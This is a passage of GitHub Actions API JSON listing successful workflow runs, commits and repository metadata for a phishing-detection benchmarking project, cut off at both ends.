repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":58293876,"node_id":"MDExOldvcmtmbG93UnVuNTgyOTM4NzY=","head_branch":"ranked_matrix","head_sha":"7e9a129e386c9acc87bbb556381e472e4e0c4c13","run_number":89,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":530171593,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MzAxNzE1OTM=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/58293876","pull_requests":[],"created_at":"2020-03-18T15:41:31Z","updated_at":"2020-03-18T15:45:41Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/530171593","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58293876/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"7e9a129e386c9acc87bbb556381e472e4e0c4c13","tree_id":"785da199e179cf175215ccf257ca05ddaf11c44c","message":"ranked_features added","timestamp":"2020-03-18T15:40:14Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50405595,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDU1OTU=","head_branch":"master","head_sha":"b6eb2428e9831bc830315de2fc0ea65dfd3b18e1","run_number":88,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502381149,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzODExNDk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50405595","pull_requests":[],"created_at":"2020-03-05T22:30:18Z","updated_at":"2020-03-05T22:35:26Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502381149","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50405595/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"b6eb2428e9831bc830315de2fc0ea65dfd3b18e1","tree_id":"b02a22c81c40eaa04919a301b296f0a4dfd69720","message":"New Email Input System (#38)\n\nA new input subsystem for email datasets that is decoupled from the legacy feature extraction system.\r\n\r\nChanges to behavior:\r\n\r\nThe assumption of a flat folder structure is removed. PhishBench is now capable of handling arbitrary folder structures.","timestamp":"2020-03-03T18:47:48Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50404851,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDQ4NTE=","head_branch":"feature_alexa","head_sha":"62d5f786668f2b4b0e41e8be1d8b83468918dbbe","run_number":87,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502376568,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzNzY1Njg=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50404851","pull_requests":[],"created_at":"2020-03-05T22:27:23Z","updated_at":"2020-03-05T22:32:14Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502376568","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"62d5f786668f2b4b0e41e8be1d8b83468918dbbe","tree_id":"e9f24e5abc7137f1c802ea02cbc63d15780e4553","message":"Merge branch 'master' into feature_alexa","timestamp":"2020-03-05T22:22:08Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/